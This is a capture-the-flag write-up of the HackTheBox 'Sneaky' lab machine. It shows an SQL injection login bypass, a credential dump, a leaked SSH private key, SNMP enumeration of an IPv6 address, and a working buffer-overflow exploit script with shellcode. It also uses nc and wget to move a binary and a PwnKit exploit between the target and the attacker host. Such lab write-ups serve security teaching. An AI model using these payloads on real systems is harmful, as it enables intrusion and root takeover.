Post

HackTheBox Sneaky

Writeup for HackTheBox Sneaky

HackTheBox Sneaky

Machine Synopsis

Sneaky, while not requiring many steps to complete, can be difficult for some users. It explores enumeration through SNMP and has a beginner level buffer overflow vulnerability which can be leveraged for privilege escalation. (Source)

Enumeration

1
2
3
4
5
6
❯ nmap -sC -sV -A 10.10.10.20

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Under Development!
|_http-server-header: Apache/2.4.7 (Ubuntu)

Here is the default webpage.

webpage

1
2
3
4
❯ feroxbuster -u 'http://10.10.10.20' --auto-tune
301      GET        9l       28w      307c http://10.10.10.20/dev => http://10.10.10.20/dev/
200      GET      142l      758w    47908c http://10.10.10.20/underdev.gif
...

dev_webpage

Using a simple basic SQLi in the password field logged us into the dashboard.

1
' or 1=1--

dev_webpage_logged_in

We could also use ghauri to automate this and dump the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
  ❯ ghauri -r req
  ...
  POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
  
  Ghauri identified the following injection point(s) with a total of 105 HTTP(s) requests:
  ---
  Parameter: name (POST)
      Type: boolean-based blind
      Title: OR boolean-based blind - WHERE or HAVING clause
      Payload: name=a' OR 04300=4300 OR '04586'='4586--&pass=a
  
      Type: time-based blind
      Title: MySQL >= 5.0.12 time-based blind (IF - comment)
      Payload: name=a'XOR(if(now()=sysdate(),SLEEP(8),0))XOR'Z&pass=a
  ---
  [15:34:53] [INFO] testing MySQL
  [15:34:53] [INFO] confirming MySQL
  [15:34:53] [INFO] the back-end DBMS is MySQL
  
  ❯ ghauri -r req --dump
  ...
  Database: dev
  Table: users
  [2 entries]
  +--------------+----------------------+
  | name         | pass                 |
  +--------------+----------------------+
  | admin        | sup3rstr0ngp4ssf0r4d |
  | thrasivoulos | sup3rstr0ngp4ssf0r4d |
  +--------------+----------------------+
  ...

Clicking on “My Key” reveals the following SSH key in http://10.10.10.20/dev/sshkeyforadministratordifficulttimes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvQxBD5yRBGemrZI9F0O13j15wy9Ou8Z5Um2bC0lMdV9ckyU5
Lc4V+rY81lS4cWUx/EsnPrUyECJTtVXG1vayffJISugpon49LLqABZbyQzc4GgBr
3mi0MyfiGRh/Xr4L0+SwYdylkuX72E7rLkkigSt4s/zXp5dJmL2RBZDJf1Qh6Ugb
yDxG2ER49/wbdet8BKZ9EG7krGHgta4mfqrBbZiSBG1ST61VFC+G6v6GJQjC02cn
cb+zfPcTvcP0t63kdEreQbdASYK6/e7Iih/5eBy3i8YoNJd6Wr8/qVtmB+FuxcFj
oOqS9z0+G2keBfFlQzHttLr3mh70tgSA0fMKMwIDAQABAoIBAA23XOUYFAGAz7wa
Nyp/9CsaxMHfpdPD87uCTlSETfLaJ2pZsgtbv4aAQGvAm91GXVkTztYi6W34P6CR
h6rDHXI76PjeXV73z9J1+aHuMMelswFX9Huflyt7AlGV0G/8U/lcx1tiWfUNkLdC
CphCICnFEK3mc3Mqa+GUJ3iC58vAHAVUPIX/cUcblPDdOmxvazpnP4PW1rEpW8cT
OtsoA6quuPRn9O4vxDlaCdMYXfycNg6Uso0stD55tVTHcOz5MXIHh2rRKpl4817a
I0wXr9nY7hr+ZzrN0xy5beZRqEIdaDnQG6qBJFeAOi2d7RSnSU6qH08wOPQnsmcB
JkQxeUkCgYEA3RBR/0MJErfUb0+vJgBCwhfjd0x094mfmovecplIUoiP9Aqh77iz
5Kn4ABSCsfmiYf6kN8hhOzPAieARf5wbYhdjC0cxph7nI8P3Y6P9SrY3iFzQcpHY
ChzLrzkvV4wO+THz+QVLgmX3Yp1lmBYOSFwIirt/MmoSaASbqpwhPSUCgYEA2uym
+jZ9l84gdmLk7Z4LznJcvA54GBk6ESnPmUd8BArcYbla5jdSCNL4vfX3+ZaUsmgu
7Z9lLVVv1SjCdpfFM79SqyxzwmclXuwknC2iHtHKDW5aiUMTG3io23K58VDS0VwC
GR4wYcZF0iH/t4tn02qqOPaRGJAB3BD/B8bRxncCgYBI7hpvITl8EGOoOVyqJ8ne
aK0lbXblN2UNQnmnywP+HomHVH6qLIBEvwJPXHTlrFqzA6Q/tv7E3kT195MuS10J
VnfZf6pUiLtupDcYi0CEBmt5tE0cjxr78xYLf80rj8xcz+sSS3nm0ib0RMMAkr4x
hxNWWZcUFcRuxp5ogcvBdQKBgQDB/AYtGhGJbO1Y2WJOpseBY9aGEDAb8maAhNLd
1/iswE7tDMfdzFEVXpNoB0Z2UxZpS2WhyqZlWBoi/93oJa1on/QJlvbv4GO9y3LZ
LJpFwtDNu+XfUJ7irbS51tuqV1qmhmeZiCWIzZ5ahyPGqHEUZaR1mw2QfTIYpLrG
UkbZGwKBgGMjAQBfLX0tpRCPyDNaLebFEmw4yIhB78ElGv6U1oY5qRE04kjHm1k/
Hu+up36u92YlaT7Yk+fsk/k+IvCPum99pF3QR5SGIkZGIxczy7luxyxqDy3UfG31
rOgybvKIVYntsE6raXfnYsEcvfbaE0BsREpcOGYpsE+i7xCRqdLb
-----END RSA PRIVATE KEY-----

However, port 22 does not seem to be open(?)

1
2
❯ ssh -i id_rsa thrasivoulos@10.10.10.20
ssh: connect to host 10.10.10.20 port 22: Connection refused

Maybe there is another IP address that we can use(?)

Lets check for any open UDP ports.

1
2
3
4
5
6
7
8
❯ nmap -sU 10.10.10.20
Nmap scan report for 10.10.10.20
Host is up (0.018s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 1012.20 seconds

Exploitation

The host is running snmp service. We can use onesixtyone to check for the community string used.

1
2
3
❯ onesixtyone 10.10.10.20 -c /usr/share/doc/onesixtyone/dict.txt
Scanning 1 hosts, 50 communities
10.10.10.20 [public] Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686

The host is using public as the community string.

We can now enumerate the snmp service with snmpwalk.

1
❯ snmpwalk -v2c -c public 10.10.10.20 > snmpwalk_output

To make the output readable, remember to do the following!

  • sudo apt install snmp-mibs-downloader -y
  • comment out mibs: in /etc/snmp/snmp.conf.

Reviewing the output file shows some interesting information.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cat snmpwalk_output
SNMPv2-MIB::sysDescr.0 = STRING: Linux Sneaky 4.4.0-75-generic #96~14.04.1-Ubuntu SMP Thu Apr 20 11:06:56 UTC 2017 i686
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (492386) 1:22:03.86
SNMPv2-MIB::sysContact.0 = STRING: root
SNMPv2-MIB::sysName.0 = STRING: Sneaky
SNMPv2-MIB::sysLocation.0 = STRING: Unknown
...
IP-MIB::ipAddressIfIndex.ipv4."10.10.10.20" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv4."10.10.10.255" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv4."127.0.0.1" = INTEGER: 1
IP-MIB::ipAddressIfIndex.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: 1
IP-MIB::ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:c2:cc" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:b9:c2:cc" = INTEGER: 2
...

There are some ipv6 address that might be of use to us.

1
2
3
4
❯ snmpwalk -v2c -c public 10.10.10.20 ipAddressIfIndex.ipv6
IP-MIB::ipAddressIfIndex.ipv6."00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:01" = INTEGER: 1
IP-MIB::ipAddressIfIndex.ipv6."de:ad:be:ef:00:00:00:00:02:50:56:ff:fe:b9:c2:cc" = INTEGER: 2
IP-MIB::ipAddressIfIndex.ipv6."fe:80:00:00:00:00:00:00:02:50:56:ff:fe:b9:c2:cc" = INTEGER: 2

The IPv6 address we are interested in is dead:beef:0000:0000:0250:56ff:feb9:c2cc.

Lets run nmap on the IPv6 address.

1
2
3
4
5
6
7
8
9
❯ nmap -6 dead:beef:0000:0000:0250:56ff:feb9:c2cc
Nmap scan report for dead:beef::250:56ff:feb9:c2cc
Host is up (0.0039s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.33 seconds

The webpage for the IPv6 address is identical to the IPv4 address.

ipv6_webpage

Lets login into the SSH using the IPv6 address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ ssh -i id_rsa thrasivoulos@dead:beef:0000:0000:0250:56ff:feb9:c2cc
The authenticity of host 'dead:beef::250:56ff:feb9:c2cc (dead:beef::250:56ff:feb9:c2cc)' can't be established.
ED25519 key fingerprint is SHA256:iA5EOWqwn2dDjQFSKh1dy8U3xKxbJikUttX2BZYeX7A.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dead:beef::250:56ff:feb9:c2cc' (ED25519) to the list of known hosts.
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-75-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Fri Jan  3 07:32:39 EET 2025

  System load: 0.0               Memory usage: 5%   Processes:       177
  Usage of /:  40.9% of 3.32GB   Swap usage:   0%   Users logged in: 0

  Graph this data and manage this system at:
    https://landscape.canonical.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.
Last login: Sun May 14 20:22:53 2017 from dead:beef:1::1077
thrasivoulos@Sneaky:~$ cat user.txt 
bc8bdb0865440d6fb4a1dcf2f57e41a5

Privilege Escalation

Find files with SUID bit set.

1
2
3
4
5
6
7
8
9
thrasivoulos@Sneaky:~$ find / -perm -4000 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/ping6
/bin/fusermount
/bin/ping
/usr/local/bin/chal
...

There is an interesting file called chal. Lets copy the file out.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
thrasivoulos@Sneaky:~$ base64 /usr/local/bin/chal > /tmp/chal.b64

kali nc -l -p 1234 > chal.b64

thrasivoulos@Sneaky:~$ nc -w 3 10.10.14.6 1234 < /tmp/chal.b64

kali❯ base64 -d chal.b64 > chal
kali❯ chmod +x chal
kali❯ ./chal
zsh: segmentation fault  ./chal

kali❯ checksec chal
[*] 'chal'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

Viewing the binary in Ghidra shows the following main source code.

1
2
3
4
5
6
7
8
undefined4 main(undefined4 param_1,int param_2)

{
  char local_16e [362];
  
  strcpy(local_16e,*(char **)(param_2 + 4));
  return 0;
}

We can create a unique pattern and run the binary with the pattern generated.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ msf-pattern_create -l 400
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A

❯ gdb ./chal
pwndbg> r <pattern>
...
──────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────
 EAX  0
 EBX  0xf7f9ae14 (_GLOBAL_OFFSET_TABLE_) ◂— 0x235d0c /* '\x0c]#' */
 ECX  0xffffd6e0 ◂— 'An0An1An2A'
 EDX  0xffffd288 ◂— 'An0An1An2A'
 EDI  0xf7ffcb60 (_rtld_global_ro) ◂— 0
 ESI  0x8048450 (__libc_csu_init) ◂— push ebp
 EBP  0x6d41396c ('l9Am')
 ESP  0xffffd270 ◂— 'Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A'
 EIP  0x316d4130 ('0Am1')
...

Once the binary crashes, we can take the EIP and find the offset (buffer space).

1
2
❯ msf-pattern_offset -q 0x316d4130
[*] Exact match at offset 362

The buffer space is 362.

Lets grab a shellcode that we want to execute when the buffer overflow is triggered. We can get some shellcodes from this website. In this case, we want a shellcode that spawns a shell.

Now we can start crafting our payload.

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3

import sys

bufsize = 362

# https://shell-storm.org/shellcode/files/shellcode-811.html
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

nopsled = "\x90" * (bufsize - len(shellcode))

We added a NOP-sled to ensure that the return address “slides” to the start of the shellcode.

Finally, we just have to find the EIP (the pointer that contains the address of the next instruction to be executed) on the Sneaky machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ python -c 'print("A"*362 + "BBBB")'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

thrasivoulos@Sneaky:~$ gdb /usr/local/bin/chal 
(gdb) b main
Breakpoint 1 at 0x8048420
gdb> r <pattern>
<breakpoint hit>
gdb> x/200xw $esp
...
0xbffff728:	0x622f6c61	0x632f6e69	0x006c6168	0x41414141
0xbffff738:	0x41414141	0x41414141	0x41414141	0x41414141
0xbffff748:	0x41414141	0x41414141	0x41414141	0x41414141

We found our pseudo shellcode at around offset 0xbffff728. Lets pick an offset that is a little further, maybe around 0xbffff758.

Finally we can edit the exploit code and execute it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
thrasivoulos@Sneaky:~$ nano exploit.py
#!/usr/bin/env python3

import sys

bufsize = 362

# https://shell-storm.org/shellcode/files/shellcode-811.html
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

nopsled = b"\x90" * (bufsize - len(shellcode))

eip = b"\x58\xf7\xff\xbf"

payload = nopsled + shellcode + eip

sys.stdout.buffer.write(payload)
1
2
3
4
5
6
7
thrasivoulos@Sneaky:~$ /usr/local/bin/chal $(python3 exploit.py)
# whoami
root
# id  
uid=1000(thrasivoulos) gid=1000(thrasivoulos) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare),1000(thrasivoulos)
# cat /root/root.txt
01fd0bad43c787abbd4d158675df6d95

Easy Method

We can also exploit PwnKit for an easy win.

1
2
3
4
5
6
7
8
9
kali❯ wget https://github.com/c3c/CVE-2021-4034/releases/download/0.2/cve-2021-4034_i686 -O cve-2021-4034_i686

thrasivoulos@Sneaky:~$ wget http://10.10.14.6/cve-2021-4034_i686 -O cve-2021-4034_i686
thrasivoulos@Sneaky:~$ chmod +x cve-2021-4034_i686
thrasivoulos@Sneaky:~$ ./cve-2021-4034_i686 
CVE-2021-4034 - crossbuild by @c3c
Acknowledgements: Qualys, blasty, berdav
Attempting to spawn root shell
# 
This post is licensed under CC BY 4.0 by the author.